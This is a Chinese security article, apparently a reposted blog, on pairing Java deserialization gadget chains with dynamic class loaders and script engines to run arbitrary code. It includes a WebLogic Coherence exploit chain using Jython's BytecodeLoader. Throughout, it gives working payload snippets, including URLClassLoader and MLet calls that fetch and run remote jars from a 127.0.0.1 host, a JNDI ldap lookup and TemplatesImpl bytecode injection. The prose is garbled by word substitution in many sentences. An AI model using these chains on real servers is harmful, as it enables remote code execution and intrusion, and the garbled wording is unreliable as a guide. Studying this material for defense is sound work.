原文作者:二进制

Java 反序列化漏洞的危害不仅在于普通小工具所能带来的命令实行,还在于利用链构建的单向代码链所能实现的有限能力,由于Java运用程序场景和小工具大多构建单向代码实行。
然而,在大多数情形下,比如须要echo和注入内存shell,我们实际上非常须要直接运行全体类或者运行一个高下文干系的多行代码来进行动态实行。
它常常哀求反序列化利用一个链来与另一个能够动态实行代码的链互助。
这也是我们在这里紧张谈论的情形。
下面将简要先容一些相对常见的方法,在这些方法中,下面的部分可以直接在动态代码高下文中实行。

单向代码利用了链的缺陷

我们常见的著名Java 反序列化小工具,如系列中的TransformerChain。
不久前还有weblogic coherence的反射提取器。
虽然它们大多数存在于oracle产品中,但是这个链的效果与TransformerChain相称,这非常有趣。
这里没有过多描述详细的事理。
在剖析和利用过程中,我们可以创造,由于它们的实行属于一个可以返回工具并再次进行工具调用的链式构造。
以是我们不能在中途为相应的实行代码做任何额外的事情,这便是为什么它变成了一个链。
它的下一个实行方法受到上一步返回的工具的限定。

一句话jspshell代码Java单向代码履行链合营的动态代码 Ruby

举一个大略的例子,我们常常利用这种小工具进行反射调用来实行相应的方法。
首先,它有一个条件,我们可以编写的普通代码是一个链构造,例如:

 Runtime.getRuntime()。
exec(' ls ');

如果相应类中getRuntime方法的描述符指定的访问权限不是公共的,那么我们不能直接调用。
此时,我们须要在获取类之后,通过利用中间的反射式单步AccessibleObject的setAccessible来取消默认的Java措辞访问掌握检讨,但是它不返回值,因此不能在链中利用。
因此,单向代码利用链不能实行关联的高下文代码。
这种操作在工具内部属性的添加、删除和修正中很常见。
短缺返回值意味着我们不能构建一个有效的实行链。

另一种情形是,如果相应的方法想要传入指定类型的参数工具,这不仅意味着存在上述问题,而且如果被处理的工具须要知足工具支持反序列化的条件此外,在须要回应或做一些额外事情的情形下,它是非常有限的,由于我们不仅须要可实行代码高下文,而且期望在当前的实行环境中得到高下文。
实际的关键是,我们须要在当前的实行环境中利用类加载器来加载我们须要运行的代码,或者通过其他脚本引擎来加载代码。

单向代码利用了链的缺陷,也便是说,为什么我们须要动态代码高下文实行?事实上,它的核心是利用Java来动态编译和加载。
安全性常日在jsp shell的旁路中找到。
当然,由于单向实行链的条件条件,没有比jsp shell更多的姿态,但是有一些额外的链匹配其他类库。

动态代码高下文实行链

这里的简短共享部分可以通过单向代码实行链和一些小原则来实行动态代码,也欢迎添加。
没有谈论多次实行和文件上岸的必要性。

classLoaderloadClassass

这里没有特殊提到类装入器的干系知识。
类加载的干系知识可以自己查阅。
事实上,可以直策应用的常用类加载器并不多,由于其终极操作的核心须要触发loadClass。
为了正常地完成父委托过程,有必要定义parentClassLoader,除非它要启动类加载器或中断父委托。
因此,在loadClass可以运行之前,须要定义当前的classLoader实例(即设置了parentClassLoader)。
类加载器的大多数第三方实现哀求用户自己获取和通报自定义或高下文类加载器工具,例如:

同时ClassLoader类也不支持序列化因此也无法传入,以是我们要找到直接可以调用的就须要知足它运行时自己获取了高下文的classLoader而不用我们传入。

比如:

org.mozilla.classfile.DefiningClassLoadergroovy.lang.GroovyClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader……

defineClass

前面讲了利用ClassLoader的首个条件,对付ClassLoader来获取class,它必经之路便是loadClass方法。
纵然很多人说利用defineClass也可以布局一个class,但它实际上也会走次loadClass,我们可以大略过下事理。

首先加载类的话它会先考试测验加载父类。
当我们调用defineClass的时候,它会走到Native方法defineClass1

ClassLoader.c#Java_java_lang_ClassLoader_defineClass1() -> jvm.cpp#JVM_DefineClassWithSource() -> jvm.cpp#jvm_define_class_common()

// common code for JVM_DefineClass() and JVM_DefineClassWithSource()// and JVM_DefineClassWithSourceCond()static jclass jvm_define_class_common(JNIEnv env, const char name, jobject loader, const jbyte buf, jsize len, jobject pd, const char source, jboolean verify, TRAPS) { if (source == NULL) source = "__JVM_DefineClass__"; assert(THREAD->is_Java_thread(), "must be a JavaThread"); JavaThread jt = (JavaThread) THREAD; PerfClassTraceTime vmtimer(ClassLoader::perf_define_appclass_time(), ClassLoader::perf_define_appclass_selftime(), ClassLoader::perf_define_appclasses(), jt->get_thread_stat()->perf_recursion_counts_addr(), jt->get_thread_stat()->perf_timers_addr(), PerfClassTraceTime::DEFINE_CLASS); if (UsePerfData) { ClassLoader::perf_app_classfile_bytes_read()->inc(len); } // Since exceptions can be thrown, class initialization can take place // if name is NULL no check for class name in .class stream has to be made. TempNewSymbol class_name = NULL; if (name != NULL) { const int str_len = (int)strlen(name); if (str_len > Symbol::max_length()) { // It's impossible to create this class; the name cannot fit // into the constant pool. THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name); } //为类创建符号 class_name = SymbolTable::new_symbol(name, str_len, CHECK_NULL); } ResourceMark rm(THREAD); ClassFileStream st((u1) buf, len, (char )source); Handle class_loader (THREAD, JNIHandles::resolve(loader)); if (UsePerfData) { is_lock_held_by_thread(class_loader, ClassLoader::sync_JVMDefineClassLockFreeCounter(), THREAD); } Handle protection_domain (THREAD, JNIHandles::resolve(pd)); //从字节文件中为该类解析创建一个klassOop工具,表示Java类 klassOop k = SystemDictionary::resolve_from_stream(class_name, class_loader, protection_domain, &st, verify != 0, CHECK_NULL); if (TraceClassResolution && k != NULL) { trace_class_resolution(k); } return (jclass) JNIHandles::make_local(env, Klass::cast(k)->java_mirror());}

这里紧张是末了调用SystemDictionary::resolve_from_stream() 将Class文件加载成内存中的Klass。

在个中会走进一次ClassFileParser::parseClassFile 函数

instanceKlassHandle k = ClassFileParser(st).parseClassFile(class_name, loader_data, protection_domain, parsed_name, verify, THREAD);

我们可以看到它在个中调用了SystemDictionary::resolve_super_or_fail ,这个函数会对父类进行解析,由于我们defineClass的类是继续java.lang.Object的,以是会根据多态用我们利用的类加载器调用loadClass来加载java.lang.Object。

也便是说肯定会涌现父类(这里是java.lang.Object)进入到loadClass方法,而这时如果没有像前面说的设定classloader就会报空指针了。

DefiningClassLoader

连续回归主题,在loadClass之前我们一样平常须要先直接调用defineclass方法去加载byte[]来布局一个Class工具返回,而实际情形很少有public的defineClass,也即我们无法直接调用它的defineClass方法。

以是紧张符合的类有两个条件,首先须要找到一个它运行初静态块或布局方法里,或defineClass这种会触发的方法,它们自己完成了获取了高下文的classLoader而不用我们传入,其次便是defineClass的访问权限为public,同时可以吸收byte或可序列化的类型在后续进行布局。

最常见的便是org.mozilla.classfile.DefiningClassLoader

DefiningClassLoader.class .newInstance() .defineClass("cn.rui0.ClassLoader.HelloWorld", new byte[]{0,0,0}) .newInstance()

传入的byte数组即由class转换,在class中我们可以写入任意代码来达到目的

GroovyClassLoader

同上

GroovyClassLoader.class .newInstance() .defineClass("cn.rui0.ClassLoader.HelloWorld", new byte[]{0,0,0}) .newInstance()

也可以利用Groovy语法来实行高下文的多条代码,比如利用GroovyShell

GroovyShell.class .newInstance() .evaluate("" + "def cl = this.class.classLoader\n" + "while (cl) {\n" + "println cl\n" + "cl = cl.parent\n" + "}");

BCEL ClassLoader

字节码操作干系类,这里举例BCEL(Byte Code Engineering Library),是Java classworking最广泛利用的一种框架。
它在实际的JVM指令层次上进行操作(BCEL拥有丰富的JVM 指令级支持)而Javassist所强调的源代码级别的事情。

JDK1.6开始引入自带的BCEL,BCEL的ClassLoader对付高版本的JDK也是在实际中非常好利用的一种。
须要把稳的是BCEL loadClass时候会有classpath的限定。

加载一个报错class。

如果有继续非 "java.", "javax.", "sun." 包中的类须要额外设置,由于调用BCEL无参的布局方法之后loadclass会走SyntheticRepository的,以是会有classpath限定。
直接传classloader工具也可以不过它不支持序列化,以是可以通过添加ignored_packages来绕过限定。

com.sun.org.apache.bcel.internal.util.ClassLoader.class .getConstructor(new Class[]{String[].class}) .newInstance(new Object[]{new String[]{"cn"}}) .loadClass("$$BCEL$$$.......") .getConstructor(new Class[0]) .newInstance(new Object[]{});

这样就可以支持加载继续了cn包开头的类。

URLClassLoader

比较常见了,紧张的问题是须要出网,不出网的话须要先在本地写入文件,这里不谈论这种情形。

ClassLoader是一个抽象类,很多方法是空的没有实现,比如 findClass()、findResource()等。
而URLClassLoader这个实现类为这些方法供应了详细的实现,并新增了URLClassPath类帮忙取得Class字节码流等功能,实际上紧张还原class还是通过defineClass。

URLClassLoader.class .getConstructor(new Class[]{URL[].class}) .newInstance(new Object[]{new URL[]{new URL("http://127.0.0.1:8011/r.jar")}}) .loadClass("Rrrr") .newInstance()

这里可以嵌套URL工具的缘故原由便是它符合了我们之条件到的支持序列化的条件,以是用gadget布局上面这条链是可以的。
同时 java.net.URLClassLoader#URLClassLoader(java.net.URL[]) 一贯super调到了java.lang.ClassLoader里面的初始化以是拿到了systemClassloader。

对付不可直策应用的ClassLoader这里先不提,须要后面的其它办法合营。

TemplatesImpl

这个属于实际中用到的最多的了,由于它存在于rt.jar里,正常情形下都可以用到,大家该当也都很熟习。
详细可以参考ysoserial的createTemplatesImpl做大略的修正

public static Object createTemplatesImpl(Class transletPayload) throws Exception { // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(transletPayload)); //pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(transletPayload.getName()); if (clazz.isFrozen()) clazz.defrost(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass superC = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Object templates = TemplatesImpl.class.newInstance(); Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance()); return templates; }

public class TestTranslet{ static { // code }}

将对应的实行代码编写到TestTranslet类的静态块中,初始化即可调用。

触发点可以调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer ,它会触发getTransletInstance()然后根据_bytecodes去defineClass并且newInstance初始化。

可以利用TrAXFilter来合营

TrAXFilter.class .getConstructor(new Class[] { Templates.class }) .newInstance(Gadgets.createTemplatesImpl(TestTranslet.class))JNDI

16年的BlackHat上@pwntester分享了通过JNDI注入进行RCE利用,现在也是比较常见的方法。
需出网,有jdk版本限定,都懂不多说了。

InitialContext.class .newInstance() .lookup("ldap://127.0.0.1:1389/Rrrr")ScriptEngine

jdk1.6开始就供应了动态脚本措辞诸如JavaScript动态的支持,1.8开始利用新的Nashorn JavaScript引擎。
Nashorn通过在JVM上,以原生办法运行动态的JavaScript代码来扩展Java的功能。
实际利用过程中须要考虑下版本的问题,payload有些地方要改动。

它可以用js语法来实行操作,当然它可以利用一些方法来引入java类,由此来通过Nashorn来操作java运行情形。

ScriptEngineManager.class .newInstance() .getEngineByName("Nashorn") .eval( "print('---------');\n" + "var Thread = Java.type('java.lang.Thread');\n" + "var stack = Thread.currentThread().getStackTrace();\n"+ "for (var i=0;i< stack.length; i++){print(stack[i])}\n"+ "print('---------')\n" )

因此可以来实行任意java高下文代的代码,如果想要直接加载java代码可以利用js语法调用java的classloader去defineClass加载,这时候就没什么前面说的限定了,由于我们可以利用反射了(没有利用SecurityManager或授权的情形下)。

Jython

Jython是用Java编写的,由于继续了Java和Python二者的特性而显得很独特,它是一种完全的措辞,而不是一个Java翻译器或仅仅是一个Python编译器。
Jython是一个Python措辞在Java中的完备实现。
在Java中实现Python可以看到有趣的Java反射API的浸染。
反射使Jython能无缝地利用任何Java类。

PythonInterpreter.class .newInstance() .exec( "from java.lang import Thread;\n" + "stack=Thread.currentThread().getStackTrace();\n" + "for i in range(0, len(stack)):\n" + " print(stack[i])\n" );

JRuby

JRuby是一个纯Java实现的Ruby阐明器。
通过JRuby,你可以在JVM上直接运行Ruby程序,调用Java的类库。

ScriptingContainer.class .newInstance() .runScriptlet("stack= Java::java.lang.Thread.currentThread().getStackTrace()\n" + "stack.each do |i|\n" + " puts i\n" + "end\n");

由于支持JSR223,以是我们也可以用ScriptEngineManager来调用,或BSF。
当然Java还支持其它的脚本措辞,这里不再举例。

EL

实际上便是我们常见的EL注入的位置,选择一些支持多行实行的EL表达式进行操作,这里举例MVEL,语法更趋近于Java。
当然并不是所有类型EL都支持都高下文的代码段,有部分只支持一个完全的代码片段即一个表达式。

MVEL.class .getMethod("eval",new Class[]{String.class}) .invoke(null, "foreach(stack:Thread.currentThread().getStackTrace()){\n" + "System.out.println(stack);\n" + "}\n");

MLet

JMX的远程命令实行攻击手腕,利用MLet加载并实例化我们指定的远程jar,须要出网。

MLet.class .getConstructor(new Class[]{URL[].class}) .newInstance(new Object[]{new URL[]{new URL("http://127.0.0.1:8011/exec.jar")}}) .loadClass("ProcessExec").getConstructor(new Class[]{String.class}) .newInstance(new Object[]{"ifconfig"});

案例

实际场景中大多数是用自带的BCEL ClassLoader或者TemplatesImpl。

比如说Weblogic过滤了TemplatesImpl

那须要绑定rmi实例回显的办法就利用了DefiningClassLoader,后来高版本官方去掉了这个包,大家又开始利用URLClassLoader,不过有个条件便是须要出网,当然也可以合营一条写文件的gadget,只不过须要多次要求,还会留下文件痕迹。

上面总结了这些,不出网加载的话Weblogic还是可以利用BCEL ClassLoader的办法加载字节码,BCEL利用加载的classpath有限定,可以通过上面提到的添加ignored_packages来绕过,添加一个weblogic即可,不过不支持<jdk1.6版本。
也可以用ScriptEngine不过须要差异jdk版本,同时如果版本太低也不支持。
同时又翻了下Weblogic的包,创造也可以用Jython。

以是用Jython的办法合营Coherence的gadget会比较通用,这里来写一下。

由于全用Jython语法调Java还是有些大坑的,适度避免一下,以是首先翻了下Weblogic利用的Jython版本的包内容,创造存在org.python.core.BytecodeLoader

个中makeClass比较舒畅可以直接拿来用,不过存在的问题便是之前最开始提到的没有parentClassLoader

以是用直接调用BytecodeLoader是弗成的。

看了下调用流程创造利用PythonInterpreter实例化的时候会自动天生,以是恰好合营之前Jython的调用高下文代码方法。
大致流程就成了 Coherence gadget -> PythonInterpreter exec -> BytecodeLoader makeClass

ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getConstructor", new Object[]{new Class[0]});ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("newInstance", new Object[]{new Object[0]});ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"from org.python.core import BytecodeLoader;\n" + "from jarray import array\n" + "myList = [-54,-2,-70,-66,0,0,0,50,0,-64,10,......]\n" + "bb = array( myList, 'b')\n" + "BytecodeLoader.makeClass(\"RemoteImpl\",None,bb).getConstructor([]).newInstance([]);"} );ValueExtractor[] valueExtractors = new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3 };Class clazz = ChainedExtractor.class.getSuperclass();Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");m_aExtractor.setAccessible(true); ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ reflectionExtractor }; ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));queue.add("1");queue.add("1");m_aExtractor.set(chainedExtractor1, valueExtractors); Object[] queueArray = (Object[]) cn.rui0.exp.utils.Reflections.getFieldValue(queue, "queue");queueArray[0] = PythonInterpreter.class;queueArray[1] = "1";

总结

不是什么新东西,算一个利用思路吧,好久没写东西了顺手总结一下。
当然提到的并不是全部,也欢迎补充。
还有很多单语句的实行办法比如JShell,BeanShell这里不在谈论范围。
最开始也说了这种办法是合营存在单向代码实行链拓展威力的一种方法,它的核心实在便是利用Java供应的动态编译,个中也有一部分是用自己的脚本解析引擎。
事实上不只是反序列化,这类动态加载方法还可以合营单行实行的各种问题,比如只支持一个表达式的EL注入等。